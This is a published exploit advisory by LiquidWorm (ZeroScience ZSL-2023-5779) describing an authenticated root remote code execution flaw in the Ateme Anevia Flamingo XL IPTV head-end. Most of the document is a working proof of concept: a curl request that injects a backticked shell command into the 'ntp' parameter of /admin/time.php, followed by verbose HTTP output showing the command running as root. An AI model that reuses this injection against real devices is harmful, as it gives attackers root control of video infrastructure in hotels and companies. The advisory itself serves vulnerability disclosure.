Exploit Title: Anevia Flamingo XL 3.6.20- Authenticated Root Remote Code Execution
Exploit Author: LiquidWorm
Vendor: Ateme
Product web page: https://www.ateme.com
Affected version:3.6.20,3.2.9
Hardware revision 1.1,1.0
SoapLive 2.4.1,2.0.3
SoapSystem 1.3.1
Summary: Flamingo XL, a new modular and high-density IPTV head-end
product for hospitality and corporate markets. Flamingo XL captures
live TV and radio content from satellite, cable, digital terrestrial
and analog sources before streaming it over IP networks to STBs, PCs
or other IP-connected devices. The Flamingo XL is based upon a modular
4U rack hardware platform that allows hospitality and corporate video
service providers to deliver a mix of channels from various sources
over internal IP networks.
Desc: The affected device suffers from authenticated remote code
execution vulnerability. A remote attacker can exploit this issue
and execute arbitrary system commands granting her system access
with root privileges.
Tested on: GNU/Linux 3.1.4(x86_64)
Apache/2.2.15(Unix)
mod_ssl/2.2.15
OpenSSL/0.9.8g
DAV/2
PHP/5.3.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5779
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5779.php
13.04.2023--> curl -vL http://192.168.1.1/admin/time.php -H "Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4"-d "ntp=`id`&request=ntp&update=Sync"|findstr root
% Total% Received % XferdAverage Speed TimeTime TimeCurrent
DloadUpload Total SpentLeftSpeed
00000000--:--:----:--:----:--:--0* Trying 192.168.1.1:80...* Connected to 192.168.1.1(192.168.1.1) port 80(#0)> POST /admin/time.php HTTP/1.1> Host:192.168.1.1> User-Agent: curl/8.0.1> Accept:*/*> Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4
> Content-Length:32> Content-Type: application/x-www-form-urlencoded
>}[32bytes data]1003200100320250:00:010:00:01--:--:--25< HTTP/1.1302 Found
< Date: Thu,13 Apr 202323:54:15 GMT
< Server: Apache/2.2.15(Unix) mod_ssl/2.2.15 OpenSSL/0.9.8g DAV/2 PHP/5.3.6< X-Powered-By: PHP/5.3.6< Expires: Thu,19 Nov 198108:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0< Pragma: no-cache
* Please rewind output before next send
< Location:/admin/time.php
< Transfer-Encoding: chunked
< Content-Type: text/html
<* Ignoring the response-body
{[5bytes data]1003200100320190:00:010:00:01--:--:--19* Connection #0 to host 192.168.1.1 left intact* Issue another request to this URL:'http://192.168.1.1/admin/time.php'* Switch from POST to GET
* Found bundle for host:0x1de6c6321b0[serially]* Re-using existing connection #0 with host 192.168.1.1> POST /admin/time.php HTTP/1.1> Host:192.168.1.1> User-Agent: curl/8.0.1> Accept:*/*> Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4
>< HTTP/1.1200 OK
< Date: Thu,13 Apr 202323:54:17 GMT
< Server: Apache/2.2.15(Unix) mod_ssl/2.2.15 OpenSSL/0.9.8g DAV/2 PHP/5.3.6< X-Powered-By: PHP/5.3.6< Expires: Thu,19 Nov 198108:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0< Pragma: no-cache
< Transfer-Encoding: chunked
< Content-Type: text/html
<{[13853bytes data]14 Apr 03:54:17 ntpdate[8964]: can't find host uid=0(root)<br /><----------------------<<14 Apr 03:54:17 ntpdate[8964]: can't find host gid=0(root)<br /><----------------------<<1003389603389600148910--:--:--0:00:02--:--:-- 99k
* Connection #0 to host 192.168.1.1 left intact